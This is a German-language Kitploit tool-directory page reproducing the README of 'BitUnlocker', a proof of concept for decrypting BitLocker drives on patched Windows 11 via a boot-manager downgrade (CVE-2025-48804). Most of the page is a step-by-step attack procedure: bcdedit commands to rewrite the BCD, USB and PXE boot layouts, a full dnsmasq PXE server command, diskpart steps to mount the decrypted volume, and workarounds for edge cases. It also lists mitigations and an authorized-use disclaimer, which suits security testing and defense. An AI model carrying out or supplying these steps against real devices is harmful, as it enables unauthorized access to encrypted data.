Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
BitUnlocker — Downgrade-Angriff für CVE-2025-48804 | Kitploit
Tools/GitHubGitHub/garatc/bitunlocker
SchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsHardware-SicherheitRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Downgrade-Angriff für CVE-2025-48804

Repository anzeigen
22344vor 8 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

BitUnlocker Downgrade-Angriff

License: MIT

Ein Proof of Concept für den Zugriff auf BitLocker-verschlüsselte Laufwerke in unter 5 Minuten auf vollständig gepatchten Windows 11-Rechnern durch einen Boot-Manager-Downgrade-Angriff, der die ursprünglich als CVE-2025-48804 dokumentierte SDI-Schwachstelle ausnutzt. Der Juli-2025-Patch behebt dies in bootmgfw.efi, sodass jedes vor dem Patch liegende bootmgfw.efi, das unter PCA 2011 signiert ist, für einen Downgrade-Angriff verwendet werden kann, sofern das Zielsystem diesem PCA vertraut.

Dieser PoC bietet zwei Bereitstellungsmethoden: USB-Boot (einfacher und empfohlen) und PXE-Boot. Theoretisch könnten Sie aber auch einfach eine SDI-Boot-Datei in eine der standardmäßig unverschlüsselten Partitionen (ESP & Recovery) kopieren und sich nicht mit USB oder PXE befassen – siehe Tabelle „Edge Cases“.

Diese Arbeit baut vollständig auf der Forschung von Microsoft STORM (Netanel Ben Simon und Alon Leviev) auf:

BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets


Voraussetzungen

  • Physischer Zugriff auf ein BitLocker-verschlüsseltes Gerät (nur TPM, PCR 7 + 11)
  • Die Secure-Boot-Datenbank des Geräts vertraut noch dem Zertifikat der Microsoft Windows PCA 2011
  • Ein USB-Stick (empfohlen) oder ein Linux-Rechner mit dnsmasq und einem Ethernet-Kabel für PXE

Schritt-für-Schritt

1. Laden Sie boot_patched.sdi von den Releases herunter (oder erstellen Sie Ihre eigene SDI-Datei, siehe unten)

Legen Sie es in USB/sdi/ (für die USB-Methode) oder TFTP-root/sdi/ (für die PXE-Methode) ab.

2. Bereiten Sie die modifizierte BCD vor

Öffnen Sie auf dem Zielgerät eine WinRE-Eingabeaufforderung (halten Sie Umschalt gedrückt, während Sie auf Neu starten klicken, dann Problembehandlung > Eingabeaufforderung — klicken Sie auf „Dieses Laufwerk ignorieren“, wenn Sie nach einem BitLocker-Wiederherstellungsschlüssel gefragt werden, und klicken Sie auf „Neu starten“, wenn Ihnen mitgeteilt wird, dass die Eingabeaufforderung auf einem gesperrten Gerät nicht ausgeführt werden kann — und wenn sich die Eingabeaufforderung einfach nicht öffnet, verwenden Sie bei Bedarf Ihr eigenes WinPE). Schließen Sie einen USB-Stick an und führen Sie aus:

root@kitploit:~
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

Suchen Sie in der Ausgabe den Eintrag der Geräteoptionen, dessen Beschreibung „Windows Recovery“ lautet und der die Einträge ramdisksdidevice / ramdisksdipath enthält. Notieren Sie sich die GUID, dann:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Platzieren Sie die resultierende BCD-Datei je nach Methode am entsprechenden Ort:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Booten des Ziels

Option A: USB-Boot (empfohlen)

Formatieren Sie einen USB-Stick als FAT32 und kopieren Sie den Inhalt des Verzeichnisses USB/ in sein Stammverzeichnis (nur dessen Inhalt, es sollte keinen „USB“-Ordner geben). Der USB-Stick sollte wie folgt aussehen:

root@kitploit:~
USB stick root/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Pre-Patch-Boot-Manager (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Ihre modifizierte BCD
└── sdi/
    └── boot_patched.sdi        # Gepatchtes SDI mit benutzerdefiniertem WinRE

Stecken Sie den USB-Stick in das Zielgerät und lösen Sie einen UEFI-USB-Boot aus – entweder über WinRE (Gerät verwenden) oder durch Drücken der Hersteller-Bootmenü-Taste beim Einschalten (F12, F9 usw.). Wenn der USB-Stick nicht in der Liste der Boot-Optionen erscheint, suchen Sie nach einer „Boot from file“-Option im UEFI-Bootmenü und navigieren Sie dann zu EFI/Boot/bootx64.efi auf dem USB-Stick.

Option B: PXE-Boot

Das Verzeichnis TFTP-root/ ist wie folgt strukturiert:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Pre-Patch-Boot-Manager (PCA 2011)
├── Boot/
│   └── BCD                     # Ihre modifizierte BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Gleicher Pre-Patch-Boot-Manager
└── sdi/
    └── boot_patched.sdi        # Gepatchtes SDI mit benutzerdefiniertem WinRE

Verbinden Sie das Ziel über Ethernet mit Ihrem Linux-Rechner und starten Sie den PXE-Server:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Lösen Sie den PXE-Boot auf dem Ziel aus – wählen Sie in WinRE Gerät verwenden > IPv4-Netzwerk oder drücken Sie die Hersteller-PXE-Boot-Taste.

4. Warten Sie auf die SDI-Übertragung

Der Boot-Manager lädt die BCD und beginnt dann mit dem Herunterladen von boot_patched.sdi. Die SDI-Datei ist groß (~300 MB), daher dauert dies von USB einen Moment oder mehrere Minuten über TFTP. Während des Ladens sollte eine wiederherstellungsbezogene Meldung mit dem SDI-Pfad auf dem Zielbildschirm erscheinen.

5. Profitieren Sie

Sobald die Übertragung abgeschlossen ist, sollte eine Eingabeaufforderung erscheinen, bei der das Betriebssystemvolume entschlüsselt und eingebunden ist (normalerweise C: oder E:). Falls es nicht automatisch eingebunden wurde oder Sie den Buchstaben nicht erraten möchten, führen Sie einfach diskpart -> sel vol X (das Volume, das wie Ihr verschlüsseltes Laufwerk aussieht) -> assign letter=C (oder etwas anderes) -> exit -> profit

Edge Cases


Erstellen Sie Ihre eigene SDI-Datei

Ich habe zwei Skripte in scripts/ beigefügt:

  • patch_sdi.py — erstellt eine modifizierte SDI-Datei aus einer boot.sdi und einer WinRE.wim-Datei
  • parse_sdi.py — analysiert eine SDI-Datei, um ihre Struktur und ihren Inhalt zu validieren

Die in Releases bereitgestellte Datei boot_patched.sdi enthält eine modifizierte WinRE.wim, in der die Startanwendung cmd.exe ist.

Nicht ausnutzbare Fälle

  • TPM + PIN oder TPM + Schlüsseldatei ist konfiguriert und der Angreifer kennt sie nicht
  • KB5025885 ist installiert / der Boot-Manager wurde auf Windows UEFI CA 2023 migriert — seit Anfang 2026 frisch installierte Rechner werden wahrscheinlich standardmäßig mit einem CA-2023-signierten bootmgfw.efi ausgeliefert. Um dies zu überprüfen, mounten Sie die EFI-Partition und untersuchen Sie die aktive Binärdatei: mountvol S: /s dann sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Beachten Sie, dass sich C:\Windows\Boot\EFI\bootmgfw.efi von der tatsächlich beim Booten verwendeten Datei unterscheiden kann – überprüfen Sie immer die Kopie auf der EFI-Partition.
  • Nicht standardmäßige PCR-Richtlinie — Konfigurationen mit PCR 0, 2 oder 4 erkennen die Änderung des Boot-Pfads
  • PCA 2011 widerrufen via DBX — wenn das alte Zertifikat explizit nicht mehr vertraut wird

Gegenmaßnahmen

  • Aktivieren Sie TPM + PIN — eine Pre-Boot-PIN verhindert, dass das TPM den VMK ohne Benutzerinteraktion entsiegelt, unabhängig von der Manipulation des Boot-Pfads. Bedenken Sie jedoch, dass dies einen Insider, der die PIN kennt, nicht aufhalten würde.
  • Migrieren Sie zu Windows UEFI CA 2023 und wenden Sie KB5025885 an, um Downgrade-Angriffe insgesamt zu verhindern

Danksagungen

Microsoft STORM (Netanel Ben Simon und Alon Leviev) für die ursprüngliche BitUnlocker-Forschung und die Offenlegung der Schwachstelle.


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Einzelheiten finden Sie in der Datei LICENSE.

Haftungsausschluss

Dieses Repository und alle seine Inhalte werden ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bereitgestellt. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die aus der Nutzung dieses Materials entstehen.

Tool herunterladen
SituationWas passiert
BitLocker mit einer PIN konfiguriert, die Sie kennenBluescreen beim Booten – PIN blind eingeben (sorry, ich habe mich in diesem Repo nicht um BitLocker-Schriftarten gekümmert) und Enter drücken
Bluescreen, keine PINDas Ziel wurde wahrscheinlich auf CA 2023 migriert – drücken Sie Escape und lassen Sie die SDI-Übertragung trotzdem abschließen, aber das BitLocker-verschlüsselte Laufwerk wird am Ende höchstwahrscheinlich gesperrt sein
Nur USB-C/ThunderboltVerwenden Sie ein USB-C-Laufwerk oder einen USB-Ethernet-Adapter (für PXE)
TFTP-Datei nicht gefunden (außer Müll-Schriftartdateien, die uns nicht interessieren)Dateinamen unterscheiden zwischen Groß- und Kleinschreibung – benennen Sie bootmgfw.efi so um, dass es dem entspricht, was das Ziel anfordert
Kein PXE- oder USB-Boot erlaubtÜberprüfen Sie die verfügbare Größe der ESP- und Recovery-Partitionen (diskpart -> list vol). Wenn in einer der Partitionen genügend Platz für die bereitgestellte Datei Boot.sdi (ca. 300 MB) vorhanden ist, legen Sie sie dort ab. Dann wird der Exploit etwas anders sein (aber immer noch genauso schnell), da Sie die BCD-Datei des Zielsystems direkt ändern müssen (bitte erstellen Sie ein Backup), um auf die unverschlüsselte Host-Partition zu verweisen (insbesondere den ramdisksdidevice-Eintrag in der BCD), und ersetzen Sie das bootmgfw.efi Ihres Ziels durch das im TFTP-Ordner dieses Repos bereitgestellte. Stellen Sie in diesem Fall sicher, dass der Boot-Manager Ihres Ziels von PCA 2011 signiert ist (der Exploit würde in diesem Fall ohnehin nicht funktionieren, überprüfen Sie das immer), sonst versetzen Sie das System in die BitLocker-Wiederherstellung. Wenn außerdem nicht genügend Platz für die von mir in diesem Repo bereitgestellte Datei Boot.sdi vorhanden ist, könnten Sie versuchen, eine eigene kleinere Version zu erstellen, es gibt definitiv einige Möglichkeiten, dies zu tun (siehe Abschnitt „Eigene SDI-Datei erstellen“ weiter unten)